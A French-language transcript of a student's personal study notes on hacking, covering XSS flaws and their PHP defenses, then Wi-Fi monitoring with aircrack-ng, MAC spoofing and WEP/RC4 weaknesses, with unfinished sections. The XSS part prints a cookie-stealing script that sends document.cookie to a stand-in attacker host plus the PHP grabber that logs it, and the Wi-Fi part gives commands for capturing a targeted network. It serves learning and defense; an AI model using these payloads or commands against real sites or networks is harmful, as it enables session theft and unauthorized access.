Notes sur le hacking

Transcription

Notes sur le hacking
Notes sur le hacking
Guillaume Pillot
10 Février 2015
Sommaire
Introduction
3
I
4
Sécurité Web
1 Faille XSS
1.1 Introduction . . . . . . . . . . . . . . . . . . . .
1.2 Types de faille XSS . . . . . . . . . . . . . . . .
1.2.1 XSS stocké . . . . . . . . . . . . . . . .
1.2.2 XSS réfléchi . . . . . . . . . . . . . . . .
1.2.3 XSS local . . . . . . . . . . . . . . . . .
1.3 Exploitation de la faille . . . . . . . . . . . . .
1.3.1 Introduction : Le Java Script et le DOM
1.3.2 Redirection . . . . . . . . . . . . . . . .
1.3.3 Vol de session . . . . . . . . . . . . . . .
1.3.4 Modification de la page . . . . . . . . .
1.4 Se protéger des failles XSS . . . . . . . . . . . .
1.4.1 Côté client . . . . . . . . . . . . . . . .
1.4.2 Fonctions PHP . . . . . . . . . . . . . .
1.4.3 Autres technologies . . . . . . . . . . . .
1.4.4 Raison de la popularité de cette faille . .
II
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Sécurité réseau
5
5
7
7
7
8
9
9
9
10
11
15
15
15
16
17
18
2 Sécurité Wi-fi
2.1 Introduction . . . . . . . . . . . . . .
2.2 Hardware . . . . . . . . . . . . . . .
2.2.1 Modes des cartes Wi-fi . . . .
2.2.2 Compatibilité des cartes Wi-fi
1
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
19
19
20
20
20
2.3
2.4
Découverte d’aircrack-ng . . . . .
2.3.1 Filtrage par adresse MAC
Le protocole WEP . . . . . . . .
2.4.1 Fonctionnement . . . . . .
Bibliographie
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
22
25
26
26
34
2
Introduction
Ce document est une accumulation de notes à propos du hacking.
Débuté en Février 2015, ces notes évoluerons au fil de mon apprentissage.
Pour le moment, je compte diviser le document en quatres parties :
-Sécurité informatique
- Sécurité réseau
- Sécurité des systèmes d’exploitaton ( virus, rootkit, etc...)
- Cryptologie
Une 5ème sera peut-être consacré à la recherche d’information ( data mining, forensics, etc...).
3
Première partie
Sécurité Web
4
Chapitre 1
Faille XSS
Ce chapitre est basé en partie sur un de mes anciens sujets de recherche
du baccalauréat [1]
1.1
Introduction
Cette section a repris les exemples du tutoriel d’Open Class Rooms [2]
La Faille XSS (pour Cross-Site Scripting) est une faille de sécurité qui
consiste à injecter du code HTML afin de pouvoir exécuter du code d’un
autre langage informatique (Java Script le plus souvent) et la plupart du
temps via un formulaire.
Du code HTML envoyé par formulaire peut être interprété par le navigateur, voici un exemple :
<p>
<!-- voci du code non protégé -->
Tu t’appelles <?php echo $_POST[’prenom’]; ?>
</p>
Si l’utilisateur rentre <strong>Badaboum</strong> PHP transforme le
code de la façon suivante :
<p>Tu t’appelles<strong>Badaboum</strong>!</p>
5
Ce code non protégé permet aux utilisateurs d’insérer n’importe quel
code HTML mais surtout il leur permet d’utiliser la balise <script>.
La balise <script> permet d’insérer un bloc de code d’un autre langage
dans du HTML, la plupart du temps c’est du Java Script. Ce code sera
ensuite interprété par le navigateur grâce à l’interpréteur de celui-ci ( Chakra pour Internet Explorer 9, SpiderMonkey pour Mozilla Firefox, V8 pour
google chrome).
Figure 1.1 – Injection d’une balise script par un utilisateur (<script
type="text/javascript">alert(’Badaboum’)</script>)
Figure 1.2 – Résultat de l’injection
La situation peut vraiment devenir critique car l’utilisateur peut récupérer nos cookies et donc des informations confidentielles comme notre pseudonyme et notre mot de passe sur le site.
6
D’après l’OWASP, la faille XSS est numéro 3 dans le top 10.[3] Elle est
donc toujours d’actualités et très répandu.[4]
1.2
1.2.1
Types de faille XSS
XSS stocké
Les failles XSS stocké sont aussi nommées failles XSS permanente car les
données fournies par l’utilisateur sont stockées sur le serveur (post sur un
forum par exemple).
C’est la faille XSS la plus critique, car un attaquant en exploitant juste
une faille sur le site peut toucher un grand nombre d’utilisateurs.
1.2.2
XSS réfléchi
Ce type de faille XSS est la plus répandu. Elle concerne les pages Web
dynamiques dans lesquelles une variable entrée par l’utilisateur est affichée
telle quelle (un nom d’utilisateur par exemple).
On appelle aussi ce type de faille : XSS non permanente, car aucune information n’est stockée nulle part.
Le pirate doit fournir à la victime une URL modifiée passant le code à
insérer en paramètre (en usant d’ingénierie social). Le pirate utilise souvent
des scripts Java Script, ce qui peut paraître suspect à la victime, il encode
donc les données contenu dans l’URL afin de masquer le code injecté[5].
Le pirate doit donc user d’ingénierie sociale pour que l’utilisateur passe
par le lien de la page modifiée.
Voici un exemple, une page affiche le nom de l’utilisateur via la méthode
GET, l’URL vers ce site ressemble donc à ceci :
http://monsite.com/exemple_1.php?nom=’toto’
7
Le pirate modifie donc la valeur de la variable par du code Java Script
(un simple alert pour l’exemple) et encode l’URL (on encode le bout de code
en hexadécimal et pour le rendre interprétable par le navigateur des ’%’ sont
ajoutés devant chaque caractère).
Ainsi l’utilisateur, en cliquant sur le lien exécutera le script à son insu :
http://monsite.com/exemple_1.php?nom=%3c%73%63%72%69%70%74%3e%
61%6c%65%72%74%28%27%68%61%63%6b%27%29%3a%3c%2f%73%63%72%69%70%74%
3e
1.2.3
XSS local
La faille XSS locale ou basée sur DOM est particulière. Une page Web
peut comporter ce type de faille XSS si lorsque des variables passées en URL
sont réutilisées par Java Script (ou un autre langage de script)[6].
Voici un exemple :
<html>
<title>Bienvenue!</title>
<script>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring( pos, document.URL.length ));
</script>
</html>
Au lieu de traité la variable "name" via le script serveur ($_GET pour
PHP), on passe directement par l’objet document via Java Script. Ici le
pirate pourra injecter du code via la variable "name".
Aujourd’hui, le système d’encodage automatique des URL par les navigateurs récents limite largement les risques d’exécution de script malicieux
injectés dans l’URL. Le navigateur encode donc automatiquement les chevrons :
Figure 1.3 – Tentative d’injection d’une balise script
8
1.3
1.3.1
Exploitation de la faille
Introduction : Le Java Script et le DOM
Le DOM pour Document Object Model est une interface de programmation d’applications (API) pour documents HTML et XML. Avec le Modèle
Objet de Document, les programmeurs peuvent construire des documents,
naviguer dans leur structure, et ajouter, modifier, ou supprimer, soit des
éléments, soit du contenu dans le document HTML, avec n’importe quel langage de programmation[7].
La structure du DOM est hiérarchique (comme un arbre), chaque balise
html (<html>,<head>,ect..) est un nœud. La racine est le nœud "window"
représentant la fenêtre du navigateur. Son fils est "document" qui représente
la page Web.
En Java Script, chaque nœud est vu comme un objet. L’objet "window"
est implicite, il n’y a pas besoin de le spécifier pour utiliser ces méthodes
(dont "alert()" fait partie).L’objet "document" est l’un des plus utilisé car
en plus de représenter la page Web, il contient des méthodes permettant,
entre autre de manipuler l’URL ou les cookies de la page.
Les pirates utilisent donc beaucoup l’objet "document" pour exploiter
une faille XSS.
1.3.2
Redirection
Cette exploitation est utile surtout pour les failles XSS stockée. Le pirate
va rediriger les visiteurs vers un autre site en injectant ce code :
<script>
location.replace("http://www.google.ca");
</script>
L’objet "location" contient les informations sur l’URL en cours de visualisation et sa méthode "replace" permet de charger dans le navigateur la
page définie dans la méthode sans l’enregistrer dans l’historique.
9
1.3.3
Vol de session
Le but de cette exploitation est de voler le cookie d’un utilisateur (le
mieux étant de voler celui d’un utilisateur privilégié (modérateur,administrateur,
etc...).
Pour ce faire, le pirate va récupérer les données du cookie grâce à Java
Script et l’objet "document" comme ceci : document.cookie ;
Le pirate peut utiliser l’AJAX pour récupérer les cookies sur son serveur
web :
<script>
var xhr = null;
function request()
{
//objet permettant dobtenir les cookies a laide dune requete HTPP
xhr = new XMLHttpRequest();
//On prepare lenvoi des donnee (methode+cible+ASYN)
xhr.open( "GET", "http://site_du_pirate.com/grabber.php?cookie=" + document.cookie, true);
//On envoie la requete
xhr.send( null );
}
request();
</script>
10
Ensuite, voici le script du pirate permettant de récupérer le cookie :
<?php
//Les donnée des cookie sont envoyé par GET
if( !empty($_GET[’cookie’]))
{
$date = date(’d-m-Y \à H\hi’);
$data = "Date : $date\r\n".htmlentities($_GET[’cookie’])."\r\n---\r\n";
//on crée un fichier
$handle = fopen(’cookies.txt’,’a’);
//et on écrit les donnée du cookie dedans
fwrite($handle, $data);
fclose($handle);
}
?>
1.3.4
Modification de la page
Les exploitations d’une faille XSS ne passent pas tout le temps par un
langage de script comme Java Script. On peut modifier une page en insérant
des balises et utiliser les propriétés du CSS.
Voici un premier exemple simple, on va injecter une balise HTML :
<strong>Test!!</strong>
11
Figure 1.4 – La balise <strong> est interprété
La plupart des forums autorisent l’utilisation de certaines balises HTML,
mais dans notre cas on peut insérer tout le code d’une page HTML si on le
souhaite, par exemple un formulaire :
Figure 1.5 – Ajout d’un formulaire via la faille XSS
12
Il est possible de masquer un élément de la page grâce à la propriété
display du CSS, sur la page Web précédente on va masquer la zone de saisie
(textarea) :
<style>
textarea
{
display: none;
}
</style>
Figure 1.6 – La zone de saisi n’est plus affiché
13
On peut aussi accéder à n’importe quel élément de la page en utilisant
plusieurs commandes de Java Script et le modifier en utilisant innerHTML.
Le code suivant va permettre de modifier le titre de la page :
<!--L’ajout de cette balise va me permettre l’accès à ces parents -->
<p id="test"></p>
<script type="text/javascript">
//accès à la balise p injecté précédemment
var test = document.getElementById(’test’);
//On monte ensuite jusqu’à la balise html
var papa = test.parentNode;
papa = papa.parentNode;
//On accède ensuite à la balise title
var tabtitle = papa.getElementsByTagName(’title’);
var title = tabtitle[];
//Et on la modifie à l’aide d’innerHTML
title.innerHTML = "Hack!!!!";
</script>
Figure 1.7 – Résultat de la modification du titre
14
1.4
1.4.1
Se protéger des failles XSS
Côté client
Il est nécessaire d’avoir un navigateur Web récent pour se protéger de la
plupart des failles XSS. Dans le chapitre 1 de cette partie, troisième section,
la faille XSS basée sur DOM ne fonctionne pas car le navigateur est protégé.
Les navigateurs obsolètes n’étant plus mis à jour, contiennent plusieurs
failles de sécurité, même si le site est protégé contre les failles XSS, le pirate pourra exploiter une faille directement sur le navigateur de la victime[8].
Les navigateurs récents possèdent de nombreuses options de sécurité permettant d’éviter l’exécution de script JS, de filtrer et de bloquer certains site
Web. Une des solutions les plus radicale serait de désactiver le Java Script
et de n’accepter aucun cookie, mais cela rend une navigation sur internet
moins confortable et limite l’accès à certains sites.
Un des meilleurs compromis est de rester toujours vigilant sur internet
et de ne pas cliquer sur n’importe quel lien.
1.4.2
Fonctions PHP
htmlspecialchars
On peut protéger notre code en l’échappant, en affichant les balises (ou
en les retirant) plutôt que de les faire exécuter par le navigateur. Pour échapper le code HTML, il suffit d’utiliser la fonction htmlspecialchars. Cette
fonction permet de convertir les caractères spéciaux en entités HTML.
Par exemple, les chevrons < et > deviennent respectivement &lt ; et &gt ;
. Cela provoquera l’affichage de la balise plutôt que son exécution[9].
<!-- utilisation de htmlspecialchars -->
<p>
Je sais comment tu t’appelles, hé hé.
Tu t’appelles <?php echo htmlspecialchars($_POST[’prenom’]); ?>!
</p>
15
Figure 1.8 – Résultat de la tentative d’injection
Il est aussi possible, pour éviter tout "bypassing" de la protection de
paralyser les guillemets et les double-guillemets. Pour cela, il faut ajouter
l’argument ENT_QUOTES à la fonction comme ceci :
<?php
$pseudo = htmlspecialchars($_GET[’pseudo’], ENT_QUOTES);
?>
Ainsi, les simples et doubles guillemets seront convertis en &#039 ; et
&quot ;.
htmlentities
htmlentities est identique à htmlspecialchars. A la différence prêt,
qu’au lieu d’encoder en entité HTML certains caractères à risque, lui, les
encode tous[10].
L’utilisation et le résultat est la même que htmlspecialchars.
strip_tags
Cette fonction, au lieu d’encoder en entité HTML (ou partiellement) la
chaîne qu’elle a en paramètres, va supprimer tous les octets nuls, toutes les
balises PHP et HTML du code[11].
1.4.3
Autres technologies
————–EN CONSTRUCTION———————– Cette section est en
cours de construction. Je vais parler des proctections contre le XSS sur
d’autres technologies que PHP.
Soit Django,ROR,J2EE,ASP.NET. Je parlerai peut-être de Symfony2,
Drupal, Wordpress et node.js si j’y trouve un interêt.
16
1.4.4
Raison de la popularité de cette faille
————–EN CONSTRUCTION———————–
17
Deuxième partie
Sécurité réseau
18
Chapitre 2
Sécurité Wi-fi
2.1
Introduction
Le Wi-fi pour "Wireless Fidelity" correspond aux réseaux locaux sans fil
de type 802.11, sa bande passante de fréquence se situe entre 2,41 et 2,484
GHz.
La norme 802.11 autorise deux modes de connexion :
-Le mode infrastructure qui relie les stations mobiles (laptop le
plus souvent) à un point d’accès.
-Le mode ad hoc qui permet aux stations mobiles de se connecter
directement entre eux. La norme 802.11 ne propose pas de mécanismes d’authentification
pour ce mode [12].
Il existe deux protocoles de sécurité Wi-fi :
-Le WEP pour Wired Equivalent Privacy (obsolète)
-Le WPA pour Wi-Fi Protected Access
19
2.2
2.2.1
Hardware
Modes des cartes Wi-fi
Mode AP/Master
On est le point d’accès du réseau, la machine est connectée à un réseau
Ethernet.
Mode Managed
C’est le mode par défaut, on reprèsente un client du réseau sans-fil, une
"station mobile".
Mode Monitor
Ce mode permet d’écouter tout le trafic d’un réseau sans fil. On n’a pas
besoin d’être enregistré au point d’accès. En fait, tout trafic Wi-Fi à portée
de la machine est écouté.
Mode adhoc/IBSS
Le mode ad hoc connecte les machines directement entre elles, en point à
point (peer to peer). Chaque machine joue le rôle de client et point d’accès en
même temps. Cet ensemble de machines est appelé IBSS pour "Independant
Basic Service Set" [13].
Mode repeater/WDS
On relaie le signal d’un point d’accès pour étendre sa portée. WDS signifie "Wireless Distribtion System".
Pour en savoir plus, consulter la référence [14].
2.2.2
Compatibilité des cartes Wi-fi
Pour effectuer les attaques, il faut que la carte Wi-Fi supporte le mode
monitor et l’injection de paquets.
L’incompatibilité matérielle de votre carte dépend du constructeur et des
pilotes supportés sur le système d’exploitation.
20
Sous Linux, la commande ’iw list’ permet de montrer toutes les caractéristiques des cartes sans-fil installées sur la machine, dont la liste des modes
supportées.
Figure 2.1 – Liste des modes supportés
Il existe des cartes wifi externe compatible avec les attaques. Une des
meilleur est l’AWUS036NHR d’Alfa Network [15].
Figure 2.2 – La carte Wifi externe AWUS036NHR d’Alfa Network
21
2.3
Découverte d’aircrack-ng
Présentation
Aircrack-ng est un programme permettant l’écoute des réseaux sans fil
(sniffing) et la récupération des clés WEP et WPA [16].
Découverte des réseaux wifi avec Airodump-ng
La première chose à faire est de mettre la carte en mode monitor :
airmon-ng start wlan0
Cette commande crée une nouvelle interface nommée "mon0", c’est via
cette interface que l’on écoutera le réseau.
Figure 2.3 – Résultat de la commande airmon-ng start wlan0
Figure 2.4 – L’interface mon0 est bien créée
22
N’oubliez pas de désactiver l’autre interface (wlan0) pour éviter l’erreur
"fixed channel -1 on mon0", wlan0 et mon0 utilisant la même carte réseau,
cela permet d’être sûr d’avoir tout les canaux disponible pour mon0.
La commande pour désactiver wlan0 :
ifconfig wlan0 down
Ensuite, pour scanner la zone Wi-fi :
airodump-ng mon0
Figure 2.5 – Scan des réseaux WiFi avoisinant
23
Il existe plusieurs options pour airodump, voici les plus utiles :
• -w paquet_capture : Tous les paquets capturés sont enregistrés dans
"paquet_capture.cap", ce fichier permettra d’obtenir la clé d’un réseau
à la dernière étape du crack.
• -c : Choix du canal. Il existe 14 canaux. Pour pouvoir effectuer une
attaque sur un réseau, il faut être sur le même canal que celui-ci. Pour
en savoir plus sur les canaux, voir [17].
• –encrypt : On filtre les réseaux suivant leur encryption (WEP/WPA).
• –bssid : On filtre les réseaux suivant leur adresse MAC.
Il existe d’autres options. Pour en savoir plus, consulter la documentation
[18].
Voici la commande permettant d’isoler un réseau :
airodump-ng mon0 -w out --bssid C8:BE:19:71:BF:0A -c 11
Figure 2.6 – Filtrage du scan sur un réseau
1. PWR indique le niveau du signal. -1 signifiant que l’on est hors de
portée du réseau.
2. RXQ pour "Receive Quality" mesure le pourcentage de paquets reçu
avec succès dès 10 dernières secondes.
3. Beacons : Nombre total de paquets d’identification envoyé par le point
d’accès depuis le début de l’écoute [19].
24
4. # Data : Nombre total de paquets de données capturées (pour le WEP
seuls les paquets IV sont comptabilisés).
5. #/s : Nombre de paquets de données envoyés par seconde sur les 10
dernières secondes.
6. MB : "Maximum Speed", c’est la vitesse de transfert maximal supportée par le point d’accès. Cela indique la norme WiFi du point d’accès
(MB à 11 pour la norme 802.11b) [20].
7. AUTH : Protocole d’authentification (SKA, PSK, etc.).
8. Cette partie liste toutes les machines connectées au point d’accès, on
a comme informations :
(a) L’adresse MAC du point d’accès (BSSID)
(b) L’adresse MAC de la machine (STATION)
(c) Leur niveau de signal (PWR)
(d) Leur taux de transfert (Rate, pour "36-24", 36 signifie le dernier
taux du point d’accès vers le client, 24 signifie le dernier taux du
client vers le point d’accès).
(e) Le nombre de paquets perdus lors des 10 dernières secondes.
(f) Le nombre de paquets envoyés par le client lors des 10 dernières
secondes.
(g) L’annonce du client (Probe) qui indique l’adresse MAC du point
d’accès que tente d’accéder le client.
Pour en savoir plus, consulter la documentation [18]
2.3.1
Filtrage par adresse MAC
Une adresse MAC physique est une adresse unique, assignée à chaque
carte réseau, commutateur (switch), routeur, caméra IP, etc. Un point d’accès peut autoriser la connexion qu’à un certain nombre d’adresses MAC.
Le problème étant qu’il est très facile d’usurper une adresse MAC ("MAC
spoofing"). Il faut distinguer l’adresse MAC physique de l’adresse MAC logicielle. L’adresse physique est difficile à modifier, mais celle-ci sert uniquement
d’adresse MAC par défaut pour établir les connexions réseau. C’est le système d’exploitation qui choisi la(les) adresse(s) MAC avec laquelle(lesquelles)
il désire communiquer [21].
25
On peut donc choisir son adresse MAC à l’aide de certains logiciels, par
exemple macchanger. Avant de modifier son adresse MAC, il faut désactiver
sa carte WiFi.
Figure 2.7 – Changement d’adresse MAC avec macchanger
Grâce aux informations obtenues avec airodump, on peut aller regarder
si un point d’accès n’utilise pas de protocole de sécurité pour son réseau, soit
une "authentification dans un système ouvert" indiqué OPN par airodump
dans la colonne ENC.
2.4
2.4.1
Le protocole WEP
Fonctionnement
Le WEP pour "Wired Equivalent Privacy" utilise l’algorithme de chiffrement par flot RC4 pour Rivest Cipher 4 qui est un générateur de bits
pseudo-aléatoires dont le résultat est combiné avec le texte en clair via une
opération XOR, le déchiffrement se fait de la même manière en sens inverse.
La somme de contrôle CRC-32 pour assurer l’intégrité.
L’algorithme RC4
L’algorithme fonctionne en deux étapes, l’initialisation à l’aide de la clé
et le chiffrement du texte clair.
26
Deux tableaux de 256 entrées sont générés, le premier possède les octets
de la clé et l’autre les nombres 0 à 255, ils sont ensuite placés grâce à cet
algorithme :
for i = 0 to 255 do
S[i] = i
end for
for i = 0 to 255 do
j = (j + S[i] + clé[i mod longueur_cle]) mod 256 échanger(S[i], S[j])
end for
Ensuite, pour la génération du flot pseudo-aléatoire l’algorithme est le
suivant :
i=0
j=0
while il y a un octet m à généré do
i = (i + 1) mod 256
j = (j + S[i]) mod 256
échanger(S[i], S[j])
n = S[i] + S[j]
output[m] = input[m] XOR S[n]
end while
On remarque que le tableau S est changé à chaque itération. Chaque valeur de S est échangée au moins une fois toutes les 256 itérations.
D’un point de vue cryptographie, le RC4 est peu sûr.
Pour en savoir plus sur le RC4, voir les références suivantes [22], [23].
La somme de contrôle CRC-32
CRC-32 signifie Contrôle de Redondance Cyclique sur 32 bits. Il permet d’assurer l’intégrité des données. Les CRC sont vérifiés avant et après
le transfert des données puis comparés pour s’assurer que les données sont
strictement identiques.
Le principe du CRC consiste à traiter les séquences binaires comme des
polynômes binaires, c’est-à-dire des polynômes dont les coefficients corres27
pondent à la séquence binaire.
Ainsi la séquence binaire 0110101001 peut être représentée sous la forme
polynomiale suivante :
0∗X 9 +1∗X 8 +1∗X 7 +0∗X 6 +1∗X 5 +0∗X 4 +1∗X 3 +0∗X 2 +0∗X 1 +1∗X 0
Soit X 8 + X 7 + X 5 + X 3 + X 0
Il faut que le polynôme générateur du CRC soit le même pour l’émetteur
et le récepteur, pour le CRC32, le polynôme est défini comme suit :
X 32 + X 26 + X 23 + X 22 + X 16 + X 12 + X 11 + X 10 + X 8 + X 7 + X 5 +
X4 + X2 + X1 + X0
Soit 100000100110000010001110110110111
Prenons un exemple, voici le message a envoyé suivant : 11011100 et le
polynôme générateur suivant : X 3 + X 2 + X 0 soit 1101. Le polynôme est de
degré 3, il faut donc ajouter 4 bits nuls au message soit 110111000000. Le
CRC égale au reste de la division du message (incluant les bits prévus pour
le CRC) par le polynôme :
110111000000 mod 1101 = 1010
On peut transmettre le message avec le CRC :
110111001010
Le récepteur n’aura plus qu’à faire la même opération pour vérifier l’intégrité du message :
110111001010 mod 1010 = 0
Si le reste est différent de 0 alors c’est qu’il y a une erreur de transmission.
Pour en savoir plus, sur le CRC-32, voir les références suivantes [24], [25].
28
Le vecteur d’initialisation
Sur le réseau, ce sont des trames que nous envoyons pour éviter que l’on
puisse deviner la clé, il faut que chaque trame utilise une clé différente. Le
vecteur d’initialisation (IV pour initialization vector) est une suite de 24 bits
générés aléatoirement et concaténés à la clé de chiffrement. Donc pour une
clé WEP de 128 bits, la clé de chiffrement connu par le client est de longueur
104 bits (128-24) et pour 64, 40 bits (64-24). Ce vecteur doit être envoyé en
clair au récepteur pour que celui-ci puisse décrypter la trame. Sur un réseau
WiFi, le vecteur est placé dans l’en-tête de la trame.
L’attaques FMS
L’attaque FMS pour Fluhrer, Mantin et Shamir qui sont les noms des
cryptologues qui ont découvert les faiblesses du RC4. Pour certaines valeurs
du vecteur d’initialisation, le premier octet généré par RC4 peut-être prédit,
on parlera d’IV faible.
La connaissance de l’IV et du premier octet de la trame permet de déduire des informations sur la clé. On déduit les octets de la clé les un après
les autres. La détermination de chaque octet à partir d’un seul IV favorable
est statistique et donne une probabilité de succès de 5%. C’est pourquoi l’on
cherche a capturer un maximum de trame avec des IVs faibles. Un à 4 millions d’IV faibles sont necessaire pour réussir l’attaque.
————–EN CONSTRUCTION———————–
Malheuresement je n’ai compris qu’à moitié comment deviner les octets
de la clé. Voici les références sur lesquelles je me suis basé : [26], [27], [28],
[29].
Ce que j’ai compris est que la norme Wifi 802.11 encapsulte ses paquets
avec l’entête SNAP pour Subnetwork Access Protocol, cette entête est toujours identique pour tous les paquets, on peut donc déduire le premier octet
de chaque paquet qui est 0xAA et avec ca en gros avec plusieurs IV faibles
(dont je n’ai pas bien compris leur propriété) on peut déduire un par un les
octets de la clé.
L’explication en détail de cette attaque aurai conlu cette sous-section, la
suite c’est comment fonctionne chop-chop (donc la théorie), ca mis en oeuvre
avec comment faire fake authentification pour stimuler le reseau et generer
un maximum d’iv faible.
29
Ensuite, l’attaque par fragmentation qui est plus efficace que Chop-Chop
mais que toutes les cartes WiFi ne peuvent pas supporter, ce qui aurai clos
la section du protocole WEP.
Ensuite, j’ouvrirai une nouvelle section sur le WPA, d’abord j’expliquerai
son fonctionnement, la différence entre le WPA et le WPA2, la faiblesse du
WPS et comment le bruteforcer avec reaver.
Le bruteforce d’une clé WPA/WPA2 avec différentes estimation du temps
que ca peut prendre avec pour finir des recommandations sur le choix de sa
clé. Ce qui aurai clos le chapitre sur la sécurité WiFi.
————–EN CONSTRUCTION———————–
30
Index
ad hoc, 18, 19
AJAX, 10
cookie, 6, 9, 10
CRC-32, 25–27
CSS, 11
WPA, 18
XML, 9
XOR, 25
Document Object Model, 8, 9
Ethernet, 19
GET, 7, 8
hexadécimal, 8
htmlentitites, 16
htmlspecialchars, 15
innerHTML, 14
location, 9
Mac Spoofing, 24
macchanger, 25
Monitor, 19
OWASP, 7
P2P, 19
RC4, 25, 26
URL, 7–9
Vecteur d’initialisation (IV), 28
WEP, 18, 25
31
Bibliographie
[1] Guillaume Pillot. Sujet spécial informatique 8inf700 : Sécurité informatique des sites web et failles xss, Août 2011.
www.guillaume-pillot.ca/static/fichier/sujet_special_
guillaume_pillot_faille_xss.pdf.
[2] Mathieu Nebra. Ne faites jamais confiance aux données reçues : la faille
xss.
http://openclassrooms.com/courses/concevez-votre-site-web-avec-php-et-mysql/
transmettre-des-donnees-avec-les-formulaires.
[3] OWASP. Owasp top 10 2013, 2013.
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%
20-%202013%20-%20French.pdf.
[4] Le Monde Informatique. Une faille xss non corrigée dans ebay permet
de détourner des comptes d’utilisateurs, Mai 2014.
http://www.lemondeinformatique.fr/actualites/
lire-une-faille-xss-non-corrigee-dans-ebay-permet-de-detourner-des-comptes-d-utili
html.
[5] Robert Auger. Cross site scripting, 2011.
http://projects.webappsec.org/w/page/13246920/Cross%20Site%
20Scripting.
[6] Amit Klein. Dom based cross site scripting or xss of the third kind,
2005.
http://www.webappsec.org/projects/articles/071105.shtml.
[7] Sébastien de la Marck Johann Pardanaud. Manipuler le code html.
http://openclassrooms.com/courses/dynamisez-vos-sites-web-avec-javascript/
manipuler-le-code-html-partie-1-2.
[8] genaration nt. Internet explorer 8 : une protection qui génère des failles.
http://www.generation-nt.com/ie8-protection-xss-vulnerabilite-securite-actualite-9
html#com.
32
[9] Manuel PHP. htmlspecialchar.
http://php.net/manual/fr/function.htmlspecialchars.php.
[10] Manuel PHP. htmlentities.
http://php.net/manual/fr/function.htmlentities.php.
[11] Manuel PHP. strip_tags.
http://php.net/manual/fr/function.strip-tags.php.
[12] Solange Ghernaouti-Hélie. Sécurité informatique et réseaux 3ème édition.
page 215, 2011.
[13] commentcamarche.net. Les modes de fonctionnement du wifi (802.11
ou wi-fi), Mars 2015.
http://www.commentcamarche.net/contents/
1282-les-modes-de-fonctionnement-du-wifi-802-11-ou-wi-fi.
[14] wiki.backtrack fr.net. Configurer son interface, Décembre 2015.
http://wiki.backtrack-fr.net/index.php/Configurer_son_
interface#Les_divers_modes.
[15] Alfa Network. Awus036nhr. http://www.alfa.com.tw/products_
show.php?pc=34&ps=8.
[16] aircrack ng.org. Introduction. http://www.aircrack-ng.org/doku.
php?id=Main.
[17] commentcamarche.net.
Choisir
le
meilleur
canal
wifi.
http://www.commentcamarche.net/faq/
12507-choisir-le-meilleur-canal-wifi.
[18] http ://www.aircrack ng.org.
Airodump-ng.
http://www.
aircrack-ng.org/doku.php?id=airodump-ng.
[19] http ://www.purplewifi.net.
Wifi or beacons for location
based
services ?
http://www.purplewifi.net/
wifi-beacons-location-based-services/.
[20] http ://www.speedguide.net.
What is the actual real-life
speed of wireless networks ?
http://www.speedguide.net/faq/
what-is-the-actual-real-life-speed-of-wireless-374.
[21] Wikipedia. Filtrage par adresse mac. http://fr.wikipedia.org/
wiki/Filtrage_par_adresse_MAC.
[22] Wikipedia. Rc4. http://fr.wikipedia.org/wiki/RC4.
[23] Simon Guillem-Lessard. Chiffrements de flux rc4. http://www.uqtr.
uquebec.ca/~delisle/Crypto/prives/flux_rc4.php.
[24] commentcamarche.net.
Contrôle d’erreur (crc).
http://www.
commentcamarche.net/contents/97-controle-d-erreur-crc.
33
[25] dvsoft.developpez.com. Tutoriel sur le calcul des crc. http://dvsoft.
developpez.com/Articles/CRC/.
[26] Vivien BERNET-ROLLANDE & Simon LALLEMAND.
Etude
d’une attaque contre l’algorithme rc4, Janvier 2010.
http:
//projets-gmi.univ-avignon.fr/projets//proj1112/M1/p07/
rapport_allemand.pdf.
[27] cisco.goffinet.org. Sécurité wifi : les bases. http://cisco.goffinet.
org/wireless/wep#.VRDZi_3Wd7g.
[28] Cedrick KADIMA KALALA. Mise en place sur le point d’accès
d’un réseau wifi. http://www.memoireonline.com/04/12/5653/m_
Mise-en-place-sur-le-point-dacces-dun-reseau-wifi15.html.
[29] http ://www.lama.univ savoie.fr.
Tp3 : Rc4 et le wep, 2012.
http://www.lama.univ-savoie.fr/~hyvernat/Enseignement/1213/
info528/tp3.html#toc6.
34